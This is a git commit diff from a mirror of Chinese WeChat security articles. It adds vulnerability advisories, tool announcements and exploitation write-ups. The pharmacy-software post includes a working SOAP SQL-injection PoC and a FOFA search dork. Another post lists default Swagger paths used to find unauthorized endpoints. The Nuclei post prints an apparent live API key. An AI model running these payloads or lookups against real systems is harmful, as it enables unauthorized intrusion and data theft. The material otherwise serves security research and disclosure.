mirror of
https://github.com/gelusus/wxvl.git
synced 2025-06-08 05:57:24 +00:00
RomCom 黑客利用 Firefox 和 Windows 零日漏洞、【漏洞通告】ProjectSend身份验证绕过漏洞安全风险通告、【漏洞通告】Zabbix SQL注入漏洞安全风险通告、Nuclei报告图形化、【已复现】Mozilla Firefox 释放后重用漏洞(CVE-2024-9680)安全风险通告第二次更新、Shiro漏洞利用工具、WPS最新0day漏洞?电脑被控仅仅是一个PDF(含视频)、0day速修 | H3C SecCenter SMP 安全管理平台远程代码执行漏洞、edusrc 某中学Swagger接口泄露未授权漏洞挖掘、仍未出补丁,Windows新的PE漏洞及完整利用代码、「漏洞复现」《黄药师》药业管理软件 XSDService.asmx SQL注入漏洞、【漏洞复现】同享TXEHR V15人力管理管理平台信息泄露漏洞、安卓app抓包总结、Burpsuite存储桶配置不当漏洞检测插件、漏洞预警 | 辰信景云终端安全管理系统SQL注入漏洞、漏洞预警 | 任我行协同CRM普及版SQL注入漏洞、漏洞预警 | TamronOS IPTV系统任意用户创建漏洞、
This commit is contained in:
parent
3c278ad46a
commit
f3fba3e92f
19
data.json
19
data.json
@ -739,5 +739,22 @@
|
|||||||
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649793307&idx=3&sn=6fd4460f0136999cf427b64b71ce498a": "微软修补四个漏洞,其中一些漏洞非常严重且已被广泛利用",
|
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649793307&idx=3&sn=6fd4460f0136999cf427b64b71ce498a": "微软修补四个漏洞,其中一些漏洞非常严重且已被广泛利用",
|
||||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247535199&idx=2&sn=d31d171442f078518d645d320b381482": "全球 | 近40个【大模型】相关安全【漏洞】曝光",
|
"https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247535199&idx=2&sn=d31d171442f078518d645d320b381482": "全球 | 近40个【大模型】相关安全【漏洞】曝光",
|
||||||
"https://mp.weixin.qq.com/s?__biz=MzkyMDM4NDM5Ng==&mid=2247488833&idx=1&sn=a92313f93aa23824eadb8be499d6b166": "渗透测试高频面试题分享",
|
"https://mp.weixin.qq.com/s?__biz=MzkyMDM4NDM5Ng==&mid=2247488833&idx=1&sn=a92313f93aa23824eadb8be499d6b166": "渗透测试高频面试题分享",
|
||||||
"https://mp.weixin.qq.com/s?__biz=MzkyOTcwOTMwMQ==&mid=2247484577&idx=1&sn=2cc88f0347850a9a6f074438afe107e5": "资产管理运营系统mobilefront2接口处存在前台文件上传漏洞【漏洞复现|附nuclei-POC】"
|
"https://mp.weixin.qq.com/s?__biz=MzkyOTcwOTMwMQ==&mid=2247484577&idx=1&sn=2cc88f0347850a9a6f074438afe107e5": "资产管理运营系统mobilefront2接口处存在前台文件上传漏洞【漏洞复现|附nuclei-POC】",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247579846&idx=1&sn=0bb37a38ab5998f595038709b86b4063&chksm=e91468fcde63e1ea605e3adce9da5489720e2d21a69c61eb7e63479b335a52d44bd7c62bbffe&scene=58&subscene=0": "RomCom 黑客利用 Firefox 和 Windows 零日漏洞",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzU4NjY4MDAyNQ==&mid=2247496830&idx=1&sn=4550017de10cbb9463e78d91a1472b71": "【漏洞通告】ProjectSend身份验证绕过漏洞安全风险通告",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzU4NjY4MDAyNQ==&mid=2247496830&idx=2&sn=32feb8d3794ac11cdf54df8999ee1ce1": "【漏洞通告】Zabbix SQL注入漏洞安全风险通告",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzU4MjYxNTYwNA==&mid=2247487556&idx=1&sn=a2ba74fa4542943c3f58fff8acd6ca6e": "Nuclei报告图形化",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247502512&idx=1&sn=6f8aba628a7b2bfe2bcf2403541b375e": "【已复现】Mozilla Firefox 释放后重用漏洞(CVE-2024-9680)安全风险通告第二次更新",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650604261&idx=4&sn=89ded4cfd4566918dd520488c54f250e": "Shiro漏洞利用工具",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=Mzg2ODE5OTM5Nw==&mid=2247486516&idx=1&sn=e9fddb6f26423f7d6a50d7d34be6dc4c": "WPS最新0day漏洞?电脑被控仅仅是一个PDF(含视频)",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=Mzg5MTc3ODY4Mw==&mid=2247507478&idx=1&sn=3427d3a5f23b7973076ac0219e3c2073": "0day速修 | H3C SecCenter SMP 安全管理平台远程代码执行漏洞",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=Mzg4MTkwMTI5Mw==&mid=2247486304&idx=1&sn=8f7f768fcd81251b6ece478f82fb5172": "edusrc 某中学Swagger接口泄露未授权漏洞挖掘",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkxOTUyOTc0NQ==&mid=2247492639&idx=1&sn=443bb480a80ca6b2fa33ab02f3161461": "仍未出补丁,Windows新的PE漏洞及完整利用代码",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486173&idx=1&sn=859b8110fe566e760fc432622c66d100": "「漏洞复现」《黄药师》药业管理软件 XSDService.asmx SQL注入漏洞",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkyMjcxNzE2MQ==&mid=2247484429&idx=1&sn=68a1517617279baad8d107745f42fc21": "【漏洞复现】同享TXEHR V15人力管理管理平台信息泄露漏洞",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkzMjIxNjExNg==&mid=2247485886&idx=1&sn=9e399e37895b283dec4804d27dfb675b": "安卓app抓包总结",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492826&idx=1&sn=75938c84eb56cc7f82beb164b02c29fa": "Burpsuite存储桶配置不当漏洞检测插件",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491585&idx=1&sn=b4006957cc14a541db72088caecfbd9c": "漏洞预警 | 辰信景云终端安全管理系统SQL注入漏洞",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491585&idx=2&sn=70273e2ec824ce2e0ec8669552d2534f": "漏洞预警 | 任我行协同CRM普及版SQL注入漏洞",
|
||||||
|
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491585&idx=3&sn=3febf83e42ab74481bebf264334e9eca": "漏洞预警 | TamronOS IPTV系统任意用户创建漏洞"
|
||||||
}
|
}
|
126
doc/0day速修 | H3C SecCenter SMP 安全管理平台远程代码执行漏洞.md
Normal file
126
doc/0day速修 | H3C SecCenter SMP 安全管理平台远程代码执行漏洞.md
Normal file
File diff suppressed because one or more lines are too long
69
doc/Burpsuite存储桶配置不当漏洞检测插件.md
Normal file
69
doc/Burpsuite存储桶配置不当漏洞检测插件.md
Normal file
@ -0,0 +1,69 @@
|
|||||||
|
# Burpsuite存储桶配置不当漏洞检测插件
|
||||||
|
libaibaia 夜组安全 2024-11-29 00:02
|
||||||
|
|
||||||
|
免责声明
|
||||||
|
|
||||||
|
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
|
||||||
|
**所有工具安全性自测!!!VX:**
|
||||||
|
**baobeiaini_ya**
|
||||||
|
|
||||||
|
朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把
|
||||||
|
**夜组安全**
|
||||||
|
“**设为星标**
|
||||||
|
”,
|
||||||
|
否则可能就看不到了啦!
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
**01**
|
||||||
|
|
||||||
|
**工具介绍**
|
||||||
|
|
||||||
|
存储桶相关配置检测自动化,访问目标网站将会自动检测,如:访问的网站引用存储桶上的静态资源,就会触发检测逻辑,将指纹识别方式修改了下,通过server头及域名中的一个方式进行判断,另外由于敏感信息误报较多,已经取消了。
|
||||||
|
## 导入burpsuite
|
||||||
|
## 存储桶相关配置问题检测结果同步到bp的issue
|
||||||
|
## 检测结果,目前支持阿里云,华为云,腾讯三个厂商的检测,存储桶文件遍历,acl读写,Policy读写及未授权上传
|
||||||
|
|
||||||
|

|
||||||
|
使用的新版bp接口,所以版本有要求,jdk17
|
||||||
|
## 打包
|
||||||
|
```
|
||||||
|
mvn package
|
||||||
|
```
|
||||||
|
## 导入bp
|
||||||
|
##
|
||||||
|
## 敏感字段会在这个面板展示
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
**02**
|
||||||
|
|
||||||
|
**工具下载**
|
||||||
|
|
||||||
|
**点击关注下方名片****进入公众号**
|
||||||
|
|
||||||
|
**回复关键字【241129****】获取**
|
||||||
|
**下载链接**
|
||||||
|
|
||||||
|
|
||||||
|
**03**
|
||||||
|
|
||||||
|
**往期精彩**
|
||||||
|
|
||||||
|
[ 一个好用的越权扫描工具 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492818&idx=1&sn=3e7742054baf1b71a35ffdd6ceac4290&chksm=c36ba02af41c293c833f2a13afadd3291199e7691cdf9d5990a7947c4b728887dd254432ac62&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[ James_synthesis_tooL | 日常渗透测试或攻防演练中对于漏洞及指纹的积累工具 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492810&idx=1&sn=389a83e0263bfc916ef686658d7b17e3&chksm=c36ba032f41c2924c846ec04c4e7560c7b7863289d3125841faa7fce4e4be0943d21feb5ba8b&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[ HeavenlyBypassAV免杀工具 ](http://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247492795&idx=1&sn=26d535dd11cc123c4388efa29fa86285&chksm=c36ba043f41c295593eb76d4ba5acc284847585eb639ad43da91a0a8ab8840c529ab8b0a1d49&scene=21#wechat_redirect)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
35
doc/Nuclei报告图形化.md
Normal file
35
doc/Nuclei报告图形化.md
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
# Nuclei报告图形化
|
||||||
|
原创 【白】 白安全组 2024-11-29 07:28
|
||||||
|
|
||||||
|
Nuclei可以与ProjectDiscovery云平台集成,以简化Nuclei结果的可视化并且快速生成报告。
|
||||||
|
|
||||||
|
1、访问
|
||||||
|
https://cloud.projectdiscovery.io/sign-in
|
||||||
|
获取api
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
cca93f45-bc41-4cca-a642-c757797aca78
|
||||||
|
|
||||||
|
2、使用命令配置nuclei
|
||||||
|
|
||||||
|
使用命令:
|
||||||
|
|
||||||
|
nuclei -auth
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
然后我们这里直接粘贴,这里记得是看不到的,粘贴之后直接回车就可以乐
|
||||||
|
|
||||||
|
3、之后,如果我们需要执行扫描,并且将结果上传云端,就在运行的时候加上-cloud-upload
|
||||||
|
|
||||||
|
nuclei -u http://www.xxxx.com -t cves/ xxx.yaml -cloud-upload -ms
|
||||||
|
|
||||||
|
扫描完成之后,会显示一个url,访问之后,可以在平台上查看结果
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
最后会有这个地址,我们访问登录就会进入到可视化界面中访问了
|
||||||
|
|
||||||
|

|
||||||
|
|
@ -1,7 +1,7 @@
|
|||||||
# RomCom 黑客利用 Firefox 和 Windows 零日漏洞
|
# RomCom 黑客利用 Firefox 和 Windows 零日漏洞
|
||||||
天唯科技 天唯信息安全 2024-11-29 03:16
|
胡金鱼 嘶吼专业版 2024-11-28 06:00
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
总部位于俄罗斯的 RomCom 网络犯罪组织在最近针对欧洲和北美 Firefox 和 Tor 浏览器用户的攻击中发现了两个零日漏洞。
|
总部位于俄罗斯的 RomCom 网络犯罪组织在最近针对欧洲和北美 Firefox 和 Tor 浏览器用户的攻击中发现了两个零日漏洞。
|
||||||
|
|
||||||
@ -31,49 +31,10 @@ RomCom(也被追踪为 Storm-0978、Tropical Scorpius 或 UNC2596)与出于
|
|||||||
|
|
||||||
据 ESET 称,RomCom 现在还针对乌克兰、欧洲和北美的组织进行跨行业的间谍攻击,包括政府、国防、能源、制药和保险。
|
据 ESET 称,RomCom 现在还针对乌克兰、欧洲和北美的组织进行跨行业的间谍攻击,包括政府、国防、能源、制药和保险。
|
||||||
|
|
||||||
参考及来源:
|
参考及来源:https://www.bleepingcomputer.com/news/security/firefox-and-windows-zero-days-exploited-by-russian-romcom-hackers/
|
||||||
|
|
||||||
https://www.bleepingcomputer.com/news/security/firefox-and-windows-zero-days-exploited-by-russian-romcom-hackers/
|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|
||||||
天唯科技专注于大型组织信息安全领域及IT基础设施解决方案的规划、建设与持续运维服务。帮助客户提高IT基础设施及信息安全管控水平和安全运营能力,使客户在激烈的市场环境中保持竞争力。
|
|
||||||
|
|
||||||
我们一直秉承“精兵强将,专业专注”的发展理念。
|
|
||||||
先后在江门、深圳成立分公司,在武汉、长沙成立办事处以及成立广州的服务支撑中心。公司已获得高新技术企业认证、已通过IS09001、IS027001、CCRC信息安全集成服务、CCRC信息安全风险评估、CCRC信息安全应急处理等认证。
|
|
||||||
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
**END**
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**往期推荐:**
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[VPN正在成为企业入侵的关键路径](https://mp.weixin.qq.com/s?__biz=MzkzMjE5MTY5NQ==&mid=2247502764&idx=1&sn=d29afeac02dd3d18a69261f7cd5d502d&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[Interlock——针对 FreeBSD 服务器的新型勒索软件](https://mp.weixin.qq.com/s?__biz=MzkzMjE5MTY5NQ==&mid=2247502764&idx=2&sn=09541b93d4e3a9ba23a012c745fa2f57&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[微软又全球宕机11小时,多项核心服务无法使用](https://mp.weixin.qq.com/s?__biz=MzkzMjE5MTY5NQ==&mid=2247502732&idx=1&sn=92d9fd50ad2acba0e595844832765f61&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
**征文通道:**
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[发钱!征文!让真诚的分享更有价值](http://mp.weixin.qq.com/s?__biz=MzkzMjE5MTY5NQ==&mid=2247490310&idx=1&sn=db4b524d1d9f5aabb4af2184dd831de3&chksm=c25ed7a6f5295eb053d3f90e2dc8cd22a2d8ce1a62561ffa62966340ee563734cd4fd32045f3&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -1,15 +1,14 @@
|
|||||||
# Shiro漏洞利用工具
|
# Shiro漏洞利用工具
|
||||||
Y5neKO 李白你好 2024-11-27 00:04
|
黑白之道 2024-11-29 06:18
|
||||||
|
|
||||||
**免责声明:**由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
|

|
||||||
|
|
||||||
****
|
|
||||||
|
|
||||||
**1**►
|
**1**►
|
||||||
|
|
||||||
**工具介绍**
|
**工具介绍**
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
**2**►
|
**2**►
|
||||||
|
|
||||||
@ -43,62 +42,51 @@ C:\Tools\Red_Tools\ShiroEXP>java -jar ShiroEXP.jar -h
|
|||||||
|
|
||||||
爆破key及加密方式
|
爆破key及加密方式
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
漏洞验证
|
漏洞验证
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
爆破回显链
|
爆破回显链
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
命令执行
|
命令执行
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Shell模式
|
Shell模式
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
注入内存马
|
注入内存马
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|
||||||
**3**►
|
**3**►
|
||||||
|
|
||||||
**PS**
|
**PS**
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|
||||||
**4**►
|
**4**►
|
||||||
|
|
||||||
**工具获取**
|
**工具获取**
|
||||||
|
|
||||||
**点击关注下方名片****进入公众号**
|
****https://github.com/Y5neKO/ShiroEXP****
|
||||||
|
|
||||||
**回复关键字【241127****】获取****下载链接**
|
> **文章来源:李白你好**
|
||||||
|
|
||||||
|
|
||||||
**5**►
|
|
||||||
|
|
||||||
**往期精彩**
|
|
||||||
|
|
||||||
[ 记两次内网入侵溯源的真实案例 ](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509463&idx=1&sn=1da434a56d7b6640d14fc9ee1c2d69f7&chksm=c09ad687f7ed5f910955a44a40ba64b911e4b53634ef920086723f6f2d43f0847028c29071e9&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[ 攻防演习之三天拿下官网站群 ](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509413&idx=1&sn=628bece22e6a7c11896dd8c5cf6d6f1a&chksm=c09ad6f5f7ed5fe3ddb69d63b3793a068672f3cff1005a0ecf711821081dbddf18dba04656c5&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
[ Palo Alto 防火墙0day漏洞 CVE-2024-0012 和 CVE-2024-9474 检测POC&EXP ](http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247509402&idx=1&sn=fd513ef1bfe094d6bfc52a0238d8efe2&chksm=c09ad6caf7ed5fdc26ffebc69bd8cf7f0cd7f3364238fc4d86312cb1b687f90bc433f9f25a43&scene=21#wechat_redirect)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
|
||||||
|
|
||||||
|
如侵权请私聊我们删文
|
||||||
|
|
||||||
|
|
||||||
|
**END**
|
||||||
|
|
||||||
|
|
||||||
|
73
doc/WPS最新0day漏洞?电脑被控仅仅是一个PDF(含视频).md
Normal file
73
doc/WPS最新0day漏洞?电脑被控仅仅是一个PDF(含视频).md
Normal file
File diff suppressed because one or more lines are too long
148
doc/edusrc 某中学Swagger接口泄露未授权漏洞挖掘.md
Normal file
148
doc/edusrc 某中学Swagger接口泄露未授权漏洞挖掘.md
Normal file
@ -0,0 +1,148 @@
|
|||||||
|
# edusrc 某中学Swagger接口泄露未授权漏洞挖掘
|
||||||
|
星悦安全 2024-11-29 04:52
|
||||||
|
|
||||||
|
一、对目标资产进行信息收集
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**打开目标网站发现只有一个智慧校园扫码登入、不能直接从登入界面下手,换个思路,先对其指纹和目录扫描均未发现任何有用的信息。**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**查看API接口,发现该目标存在其他资产**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
二、对Sping Boot框架进行漏洞利用
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
发现是Sping Boot框架,使用SpringBoot-Scan扫描是否存在信息泄露
|
||||||
|
|
||||||
|
**Sping Boot框架识别技巧:**
|
||||||
|
|
||||||
|
**1.网页标签的图标(favicon.ico)像一个绿色的树叶**
|
||||||
|
|
||||||
|
**2.Whitelabel Error Page特有的报错信息**
|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**发现存在swagger接口泄露未授权访问,查看生成的API接口文档村长目标敏感信息泄露和对用户权限进行修改**
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
三、对本次src的总结
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**SpringBoot-Scan是作用于探测Spring Boot的敏感信息泄露端点,并可以直接测试Spring的相关高危漏洞。**
|
||||||
|
|
||||||
|
**工具作者:曾哥**
|
||||||
|
|
||||||
|
**工具地址:https://github.com/AabyssZG/SpringBoot-Scan**
|
||||||
|
|
||||||
|
**Swagger 未授权访问地址存在以下默认路径:**
|
||||||
|
|
||||||
|
```
|
||||||
|
/api
|
||||||
|
/api-docs
|
||||||
|
/api-docs/swagger.json
|
||||||
|
/api.html
|
||||||
|
/api/api-docs
|
||||||
|
/api/apidocs
|
||||||
|
/api/doc
|
||||||
|
/api/swagger
|
||||||
|
/api/swagger-ui
|
||||||
|
/api/swagger-ui.html
|
||||||
|
/api/swagger-ui.html/
|
||||||
|
/api/swagger-ui.json
|
||||||
|
/api/swagger.json
|
||||||
|
/api/swagger/
|
||||||
|
/api/swagger/ui
|
||||||
|
/api/swagger/ui/
|
||||||
|
/api/swaggerui
|
||||||
|
/api/swaggerui/
|
||||||
|
/api/v1/
|
||||||
|
/api/v1/api-docs
|
||||||
|
/api/v1/apidocs
|
||||||
|
/api/v1/swagger
|
||||||
|
/api/v1/swagger-ui
|
||||||
|
/api/v1/swagger-ui.html
|
||||||
|
/api/v1/swagger-ui.json
|
||||||
|
/api/v1/swagger.json
|
||||||
|
/api/v1/swagger/
|
||||||
|
/api/v2
|
||||||
|
/api/v2/api-docs
|
||||||
|
/api/v2/apidocs
|
||||||
|
/api/v2/swagger
|
||||||
|
/api/v2/swagger-ui
|
||||||
|
/api/v2/swagger-ui.html
|
||||||
|
/api/v2/swagger-ui.json
|
||||||
|
/api/v2/swagger.json
|
||||||
|
/api/v2/swagger/
|
||||||
|
/api/v3
|
||||||
|
/apidocs
|
||||||
|
/apidocs/swagger.json
|
||||||
|
/doc.html
|
||||||
|
/docs/
|
||||||
|
/druid/index.html
|
||||||
|
/graphql
|
||||||
|
/libs/swaggerui
|
||||||
|
/libs/swaggerui/
|
||||||
|
/spring-security-oauth-resource/swagger-ui.html
|
||||||
|
/spring-security-rest/api/swagger-ui.html
|
||||||
|
/sw/swagger-ui.html
|
||||||
|
/swagger
|
||||||
|
/swagger-resources
|
||||||
|
/swagger-resources/configuration/security
|
||||||
|
/swagger-resources/configuration/security/
|
||||||
|
/swagger-resources/configuration/ui
|
||||||
|
/swagger-resources/configuration/ui/
|
||||||
|
/swagger-ui
|
||||||
|
/swagger-ui.html
|
||||||
|
/swagger-ui.html#/api-memory-controller
|
||||||
|
/swagger-ui.html/
|
||||||
|
/swagger-ui.json
|
||||||
|
/swagger-ui/swagger.json
|
||||||
|
/swagger.json
|
||||||
|
/swagger.yml
|
||||||
|
/swagger/
|
||||||
|
/swagger/index.html
|
||||||
|
/swagger/static/index.html
|
||||||
|
/swagger/swagger-ui.html
|
||||||
|
/swagger/ui/
|
||||||
|
/Swagger/ui/index
|
||||||
|
/swagger/ui/index
|
||||||
|
/swagger/v1/swagger.json
|
||||||
|
/swagger/v2/swagger.json
|
||||||
|
/template/swagger-ui.html
|
||||||
|
/user/swagger-ui.html
|
||||||
|
/user/swagger-ui.html/
|
||||||
|
/v1.x/swagger-ui.html
|
||||||
|
/v1/api-docs
|
||||||
|
/v1/swagger.json
|
||||||
|
/v2/api-docs/v3/api-docs
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
SIMPLE STYLE
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!**
|
||||||
|
|
||||||
|
|
||||||
|
|
127
doc/「漏洞复现」《黄药师》药业管理软件 XSDService.asmx SQL注入漏洞.md
Normal file
127
doc/「漏洞复现」《黄药师》药业管理软件 XSDService.asmx SQL注入漏洞.md
Normal file
@ -0,0 +1,127 @@
|
|||||||
|
# 「漏洞复现」《黄药师》药业管理软件 XSDService.asmx SQL注入漏洞
|
||||||
|
冷漠安全 冷漠安全 2024-11-29 02:30
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
0x01 免责声明
|
||||||
|
|
||||||
|
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!
|
||||||
|
|
||||||
|
0x02
|
||||||
|
|
||||||
|
**产品介绍**
|
||||||
|
|
||||||
|
《黄药师》药业管理软件是一款针对我国医药或医疗器械企业经营管理特点而设计的综合管理软件。《黄药师》系列管理软件集进销存、财务、经营分析和GSP管理为一体,从企业经营的各个环节对资金流、物流、信息流等进行系统的管理。它采用“一看就懂,一学就会,一用就灵”的开发理念,人机界面友好,易学易用,能满足各类零售药店、连锁配送药店、批发公司以及集团化企业、事业行政单位、大型企业和中小型企业的业务管理需要。
|
||||||
|
|
||||||
|
0x03
|
||||||
|
|
||||||
|
**漏洞威胁**
|
||||||
|
|
||||||
|
《黄药师》药业管理软件 XSDService.asmx 接口GetPdaTable、ExecPdaSql、SetMedia_Picture_info等多个实例存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。
|
||||||
|
|
||||||
|
0x04
|
||||||
|
|
||||||
|
**漏洞环境**
|
||||||
|
|
||||||
|
FOFA:
|
||||||
|
```
|
||||||
|
body="XSDService.asmx"
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
0x05
|
||||||
|
|
||||||
|
**漏洞复现**
|
||||||
|
|
||||||
|
PoC
|
||||||
|
```
|
||||||
|
POST /XSDService.asmx HTTP/1.1
|
||||||
|
Host:
|
||||||
|
Content-Type: text/xml; charset=utf-8
|
||||||
|
Content-Length: length
|
||||||
|
SOAPAction: "http://tempuri.org/GetPdaTable"
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soap:Body>
|
||||||
|
<GetPdaTable xmlns="http://tempuri.org/">
|
||||||
|
<sql>;WAITFOR DELAY '0:0:4'--</sql>
|
||||||
|
</GetPdaTable>
|
||||||
|
</soap:Body>
|
||||||
|
</soap:Envelope>
|
||||||
|
```
|
||||||
|
|
||||||
|
延时
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
0x06
|
||||||
|
|
||||||
|
**批量脚本验证**
|
||||||
|
|
||||||
|
Nuclei验证脚本已发布
|
||||||
|
知识星球:冷漠安全
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
0x07
|
||||||
|
|
||||||
|
**修复建议**
|
||||||
|
|
||||||
|
关闭互联网暴露面或接口设置访问权限
|
||||||
|
|
||||||
|
升级至安全版本
|
||||||
|
|
||||||
|
0x08
|
||||||
|
|
||||||
|
**加入我们**
|
||||||
|
|
||||||
|
漏洞详情及批量检测POC工具请前往知识星球获取
|
||||||
|
|
||||||
|
知识星球:冷漠安全交个朋友,限时优惠券:加入立减25星球福利:每天更新最新漏洞POC、资料文献、内部工具等
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
「星球介绍」:
|
||||||
|
|
||||||
|
本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。
|
||||||
|
|
||||||
|
本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。
|
||||||
|
|
||||||
|
本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。
|
||||||
|
|
||||||
|
|
||||||
|
「星球服务」:
|
||||||
|
|
||||||
|
|
||||||
|
加入星球,你会获得:
|
||||||
|
|
||||||
|
|
||||||
|
♦ 批量验证漏洞POC脚本
|
||||||
|
|
||||||
|
|
||||||
|
♦ 0day、1day分享
|
||||||
|
|
||||||
|
|
||||||
|
♦ 汇集其它付费星球资源分享
|
||||||
|
|
||||||
|
|
||||||
|
♦ 大量的红蓝对抗实战资源
|
||||||
|
|
||||||
|
|
||||||
|
♦ 优秀的内部红蓝工具及插件
|
||||||
|
|
||||||
|
|
||||||
|
♦ 综合类别优秀Wiki文库及漏洞库
|
||||||
|
|
||||||
|
|
||||||
|
♦ 提问及技术交流
|
||||||
|
|
